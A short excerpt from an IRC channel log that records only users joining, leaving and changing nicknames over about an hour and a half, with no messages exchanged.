22:24 nbrown joined 22:25 daxim__ left 22:28 pecastro left, nbrown left 22:30 O_o joined, O_o is now known as Guest31918 22:32 Guest31918 left 22:33 vendethiel- joined 22:35 jantore_ left, jantore joined, vendethiel left 22:39 daxim__ joined 22:44 pmurias left 22:58 virtualsue left 23:06 treehug88 left 23:21 tinyblak joined 23:25 Slade joined, nbrown joined, Slade is now known as _slade_ 23:30 nbrown left 23:32 bjz_ left 23:33 Slade joined, _slade_ left 23:36 Slade left 23:49 _slade_ joined 23:53 rurban left